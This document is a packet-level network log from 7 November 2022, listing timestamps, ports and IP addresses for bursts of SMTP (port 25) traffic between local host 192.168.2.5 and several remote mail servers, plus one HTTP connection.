Nov 7, 2022 22:24:24.265347958 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265373945 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265410900 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265412092 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265412092 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265428066 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265448093 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265465975 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265475035 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265482903 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265496969 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265500069 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265516996 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265525103 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265532970 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265552998 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265571117 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265578032 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265578032 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.265588045 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265604019 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265619993 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265636921 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265652895 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265670061 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265686035 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265705109 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265724897 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265742064 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265758038 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265774965 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265790939 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265808105 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265824080 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265842915 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265860081 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265876055 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265892029 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265909910 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265925884 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265943050 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265959978 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.265979052 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306632042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306663990 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306684017 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306701899 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306724072 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306740999 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306757927 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306775093 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.306785107 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.306785107 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.306901932 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.306901932 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.317253113 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317281961 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317300081 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317318916 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317336082 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317353964 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317370892 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317421913 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317440033 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317455053 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317471027 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317487001 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317528963 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317568064 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317614079 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317631960 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317686081 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317812920 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317888975 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.317933083 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318092108 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318208933 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318247080 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318298101 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318315983 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318331957 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318348885 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318366051 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318411112 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318428040 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318444967 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318460941 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318660975 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.318698883 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319314957 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319380999 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319397926 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319415092 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319431067 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319505930 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319524050 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319540024 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319555998 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319627047 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319643974 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319659948 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319675922 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319691896 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319708109 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319724083 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319741011 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319756985 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319773912 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319828033 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319844961 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319860935 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319876909 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319894075 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319910049 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319927931 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319945097 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.319960117 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320017099 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320034027 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320050955 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320066929 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320084095 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320100069 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320132971 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320149899 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320168018 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320254087 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320271015 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320302963 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320321083 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320337057 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320353985 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320370913 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320386887 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320411921 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320429087 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320446968 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320462942 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320497036 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320571899 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320622921 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320641994 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320657969 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320673943 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320689917 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320707083 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320724010 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320739985 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320756912 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320777893 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320822954 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320839882 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320856094 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320898056 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320914984 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320930958 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320946932 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.320962906 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.321016073 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.321033001 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.321048975 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.359175920 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361066103 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361093998 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361115932 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361139059 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361159086 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361176014 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361188889 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361192942 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361211061 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361227989 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361246109 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361260891 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361263037 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361290932 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361290932 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361320019 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361325026 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361325026 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361337900 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361355066 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361377001 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361381054 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361394882 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361398935 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361417055 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361421108 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361433029 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361438990 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361449957 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361455917 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361465931 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.361473083 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361501932 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.361521959 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.367922068 CET	49729	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:24.367959023 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:24.412812948 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415424109 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415585041 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415604115 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415622950 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415631056 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415668011 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415687084 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415687084 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415704012 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415705919 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415720940 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415736914 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415739059 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415757895 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415783882 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415790081 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415801048 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415817976 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415859938 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415884018 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415904999 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415921926 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415939093 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415954113 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415956020 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415972948 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.415973902 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.415990114 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416007042 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416007996 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416024923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416024923 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416043043 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416059017 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416062117 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416078091 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416085005 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416095018 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416112900 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416116953 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416130066 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416143894 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416177988 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416193008 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416193962 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416218042 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416234970 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416244030 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416251898 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416266918 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416270018 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416285992 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416286945 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416302919 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416320086 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416322947 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416336060 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416336060 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416367054 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416378975 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416399002 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416399956 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416416883 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416434050 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416450977 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416451931 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416470051 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416470051 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.416484118 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416507006 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.416528940 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.456638098 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:24.469950914 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.469976902 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.469990969 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470009089 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470072031 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470124960 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470196009 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470257998 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470427036 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470544100 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470588923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470602036 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470611095 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470617056 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470629930 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470654011 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470666885 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470681906 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470700026 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470720053 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470731974 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470735073 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470784903 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470798016 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470803976 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470812082 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470824003 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470855951 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470860004 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470901966 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470901966 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.470942020 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470982075 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470994949 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.470997095 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471009016 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471021891 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471039057 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471066952 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471088886 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471093893 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471108913 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471144915 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471147060 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471158028 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471169949 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471174002 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471185923 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471191883 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471199036 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471215010 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471227884 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471237898 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471261024 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471265078 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471265078 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471292973 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471330881 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471349001 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471362114 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471375942 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471388102 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471420050 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471429110 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471432924 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471446991 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471458912 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:24.471458912 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:24.471510887 CET	49723	25	192.168.2.5	142.250.150.26
